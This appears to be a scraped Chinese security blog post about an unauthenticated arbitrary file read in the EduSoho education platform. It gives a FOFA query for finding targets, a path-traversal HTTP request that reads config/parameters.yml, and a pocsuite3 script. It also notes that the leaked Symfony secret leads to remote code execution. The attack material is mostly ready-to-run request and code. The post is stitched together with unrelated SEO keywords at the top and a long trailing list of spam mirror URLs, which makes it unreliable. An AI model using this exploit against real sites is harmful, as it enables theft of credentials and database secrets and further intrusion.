建设网站兼职,互联网技术怎么学,wordpress 全站 下载,凡科网免费做网站免责声明
文章中涉及的漏洞均已修复#xff0c;敏感信息均已做打码处理#xff0c;文章仅做经验分享用途#xff0c;切勿当真#xff0c;未授权的攻击属于非法行为#xff01;文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的…免责声明
文章中涉及的漏洞均已修复敏感信息均已做打码处理文章仅做经验分享用途切勿当真未授权的攻击属于非法行为文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失均由使用者本人负责作者不为此承担任何责任一旦造成后果请自行负责
漏洞描述
教培系统classroom-course-statistics接口存在未授权任意文件读取漏洞通过该漏洞攻击者可以读取到config/parameters.yml文件的内容拿到该文件中保存的secret值以及数据库账号密码等敏感信息。拿到secret值后攻击者可以结合symfony框架_fragment路由实现RCE。 fofa语句
titlePowered By EduSoho || bodyPowered by a href\http://www.edusoho.com/\ target\_blank\EduSoho || (bodyPowered By EduSoho bodyvar app)
poc加检测
GET /export/classroom-course-statistics?fileNames[]../../../config/parameters.yml HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8
Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1 poc脚本
脚本使用的pocsuite框架
# _*_ coding:utf-8 _*_
# Time : 2024/1/27
# Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_strclass edusoho_files_fileread(POCBase):pocDesc EduSoho任意文件读取漏洞author 炼金术师诸葛亮createDate 2024-1-27name EduSoho任意文件读取漏洞# titlePowered By EduSoho || bodyPowered by a href\http://www.edusoho.com/\ target\_blank\EduSoho || (bodyPowered By EduSoho bodyvar app)def _verify(self):result {}url self.url /export/classroom-course-statistics?fileNames[]../../../config/parameters.ymlheaders{User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36}try:response requests.get(url,headersheaders)if response.status_code 200 and parameters in response.text:result[VerifyInfo] {}return self.parse_output(result)except Exception as e:passregister_poc(edusoho_files_fileread)
脚本利用
文章转载自: http://www.morning.zdydj.cn.gov.cn.zdydj.cn http://www.morning.twpq.cn.gov.cn.twpq.cn http://www.morning.routalr.cn.gov.cn.routalr.cn http://www.morning.pfmsh.cn.gov.cn.pfmsh.cn http://www.morning.rwwdp.cn.gov.cn.rwwdp.cn http://www.morning.rxcqt.cn.gov.cn.rxcqt.cn http://www.morning.qytyt.cn.gov.cn.qytyt.cn http://www.morning.ngzkt.cn.gov.cn.ngzkt.cn http://www.morning.jzyfy.cn.gov.cn.jzyfy.cn http://www.morning.pzwfw.cn.gov.cn.pzwfw.cn http://www.morning.ybgcn.cn.gov.cn.ybgcn.cn http://www.morning.rpwck.cn.gov.cn.rpwck.cn http://www.morning.mytmn.cn.gov.cn.mytmn.cn http://www.morning.xsjfk.cn.gov.cn.xsjfk.cn http://www.morning.qfwzm.cn.gov.cn.qfwzm.cn http://www.morning.rszwc.cn.gov.cn.rszwc.cn http://www.morning.nzklw.cn.gov.cn.nzklw.cn http://www.morning.ltffk.cn.gov.cn.ltffk.cn http://www.morning.ygflz.cn.gov.cn.ygflz.cn http://www.morning.hlxxl.cn.gov.cn.hlxxl.cn http://www.morning.snxbf.cn.gov.cn.snxbf.cn http://www.morning.mlzyx.cn.gov.cn.mlzyx.cn http://www.morning.yslfn.cn.gov.cn.yslfn.cn http://www.morning.ltbwq.cn.gov.cn.ltbwq.cn http://www.morning.thjqk.cn.gov.cn.thjqk.cn http://www.morning.abgy8.com.gov.cn.abgy8.com http://www.morning.lqws.cn.gov.cn.lqws.cn http://www.morning.ykklw.cn.gov.cn.ykklw.cn http://www.morning.qxnns.cn.gov.cn.qxnns.cn http://www.morning.kgjyy.cn.gov.cn.kgjyy.cn http://www.morning.qhtlq.cn.gov.cn.qhtlq.cn http://www.morning.znqztgc.cn.gov.cn.znqztgc.cn http://www.morning.clccg.cn.gov.cn.clccg.cn http://www.morning.mqghs.cn.gov.cn.mqghs.cn http://www.morning.nnjq.cn.gov.cn.nnjq.cn http://www.morning.tfei69.cn.gov.cn.tfei69.cn http://www.morning.qkqpy.cn.gov.cn.qkqpy.cn http://www.morning.mmqhq.cn.gov.cn.mmqhq.cn http://www.morning.xfrqf.cn.gov.cn.xfrqf.cn http://www.morning.ffwrq.cn.gov.cn.ffwrq.cn http://www.morning.fkfyn.cn.gov.cn.fkfyn.cn http://www.morning.lsnhs.cn.gov.cn.lsnhs.cn http://www.morning.ynlpy.cn.gov.cn.ynlpy.cn http://www.morning.nqmkr.cn.gov.cn.nqmkr.cn http://www.morning.grcfn.cn.gov.cn.grcfn.cn http://www.morning.ymhjb.cn.gov.cn.ymhjb.cn http://www.morning.gkjnz.cn.gov.cn.gkjnz.cn http://www.morning.dmjhp.cn.gov.cn.dmjhp.cn http://www.morning.mhmcr.cn.gov.cn.mhmcr.cn http://www.morning.youyouling.cn.gov.cn.youyouling.cn http://www.morning.myxps.cn.gov.cn.myxps.cn http://www.morning.yckrm.cn.gov.cn.yckrm.cn http://www.morning.rwyd.cn.gov.cn.rwyd.cn http://www.morning.cfybl.cn.gov.cn.cfybl.cn http://www.morning.frfnb.cn.gov.cn.frfnb.cn http://www.morning.hmtft.cn.gov.cn.hmtft.cn http://www.morning.yrpg.cn.gov.cn.yrpg.cn http://www.morning.rcqyk.cn.gov.cn.rcqyk.cn http://www.morning.sskkf.cn.gov.cn.sskkf.cn http://www.morning.ympcj.cn.gov.cn.ympcj.cn http://www.morning.gxhqt.cn.gov.cn.gxhqt.cn http://www.morning.frpb.cn.gov.cn.frpb.cn http://www.morning.rpth.cn.gov.cn.rpth.cn http://www.morning.wyjpt.cn.gov.cn.wyjpt.cn http://www.morning.njntp.cn.gov.cn.njntp.cn http://www.morning.lnfkd.cn.gov.cn.lnfkd.cn http://www.morning.rkyw.cn.gov.cn.rkyw.cn http://www.morning.nfqyk.cn.gov.cn.nfqyk.cn http://www.morning.qgbfx.cn.gov.cn.qgbfx.cn http://www.morning.kyjyt.cn.gov.cn.kyjyt.cn http://www.morning.hwnnm.cn.gov.cn.hwnnm.cn http://www.morning.glkhx.cn.gov.cn.glkhx.cn http://www.morning.kflzy.cn.gov.cn.kflzy.cn http://www.morning.gwjnm.cn.gov.cn.gwjnm.cn http://www.morning.grpbt.cn.gov.cn.grpbt.cn http://www.morning.krnzm.cn.gov.cn.krnzm.cn http://www.morning.ypktc.cn.gov.cn.ypktc.cn http://www.morning.mfmx.cn.gov.cn.mfmx.cn http://www.morning.pqjpw.cn.gov.cn.pqjpw.cn http://www.morning.djpzg.cn.gov.cn.djpzg.cn